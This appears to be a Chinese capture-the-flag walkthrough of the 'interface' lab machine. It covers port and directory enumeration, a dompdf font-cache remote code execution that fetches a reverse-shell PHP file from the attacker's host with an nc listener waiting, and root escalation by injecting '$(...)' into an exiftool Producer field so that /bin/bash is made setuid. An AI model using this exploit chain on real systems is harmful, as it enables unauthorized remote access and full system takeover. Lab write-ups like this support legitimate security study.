信息搜集
nmap扫描端口发现开放的22和80
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
发现支持head方法
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问的ip的80端口,发现了响应头中的子域名 prd.m.rendering-api.interface.htb
绑定到本地host
echo "10.10.11.200 prd.m.rendering-api.interface.htb" >> /etc/hosts
对其进行一下目录扫描
对vendor目录再详细扫描一下
发现了可疑的目录 dompdf , 经过谷歌搜索后知道。dompdf工具书将php5,html转换pdf的工具。
这里介绍一下wfuzz的相关参数
--hc/hl/hw/hh : Hide responses with the specified code/lines/words/chars 可以使用-hh 忽略响应chars指定值的结果。那么进行wfuzz扫描一下根目录。
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 100 -u http://prd.m.rendering-api.interface.htb/FUZZ --hh 0
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000078: 404 0 L 3 W 50 Ch "api"
000001518: 403 1 L 2 W 15 Ch "vendor"
000004255: 404 1 L 3 W 16 Ch "http://prd.m.rendering-api.interface.htb/"
发现了api这个目录,使用GET方式没有发现内容,使用POST再扫一下,发现了html2pdf
那么对html2pdf的接口爆破一下参数,发现了html和status_text俩个参数
└─# arjun -m JSON -u http://prd.m.rendering-api.interface.htb/api/html2pdf
_
/_| _ '
( |/ /(//) v2.2.1
_/
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 3 parameters
[*] Logicforcing the URL endpoint
[✓] parameter detected: status_text, based on: param name reflection
[✓] parameter detected: html, based on: http code
[+] Parameters found: status_text, html
经过实际测试后,html参数是可以用的。
dompdf的RCE
对于dompdf这个模块,我在github上找到了一些rce和lfi的漏洞。
RCE exploit for dompdf[1]
然后我们将使用git上的脚本,来进行反弹shell。
首先修改 exloit/exploit.css ,把localhost改成自己的ip 。
然后把 exloit/exploit_font.php 改成反弹shell的php代码。
在线生成反弹shell代码[2]
然后开启php的监听服务,以及nc的监听shell。
└─# python -m http.server 80
└─# nc -lvnp 4554
可以看到回显,俩个文件确实被访问了
对我们的url进行一下md5加密
│└─# echo "http://10.10.16.4:80/exploit_font.php" -n | md5sum
635d31bfc3b9a7aa0072f0c85d06cf47 -
访问缓存的 php“font”文件并执行 反弹shell。文件的路径名为:
http://prd.m.rendering-api.interface.htb/dompdf/lib/fonts/exploitfont_normal_635d31bfc3b9a7aa0072f0c85d06cf47.php
反弹shell成功
提权root
发现了dev的账户
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:,,,:/home/dev:/bin/bash
上传pspy64工具到靶机,运行看一下进程。发现了一个root权限运行的,访问用户的sh文件,很可疑
使用cat 查看一下。
这是chatgpt对于脚本的解释
因为exiftool 从meta_producer字段提取内容,所以可以输入一个恶意payload进去。
www-data@interface:/tmp$ cat > /dev/shm/0le.sh <<EOF
cat > /dev/shm/0le.sh <<EOF
> #!/bin/bash
#!/bin/bash
> chmod +s /bin/bash
chmod +s /bin/bash
> EOF
EOF
chmod +x /dev/shm/0le.sh
touch /tmp/0le
/usr/bin/exiftool -Producer='a[$(/dev/shm/0le.sh>&2)]+42' /tmp/0le
ls -al /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18 2022 /bin/bash
成功setuid,直接bash -p即可root
References
[1]
RCE exploit for dompdf: https://github.com/positive-security/dompdf-rce[2]
在线生成反弹shell代码: https://www.0le.cn/reverse/
原文始发于微信公众号(靶机狂魔):靶机—— interface
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论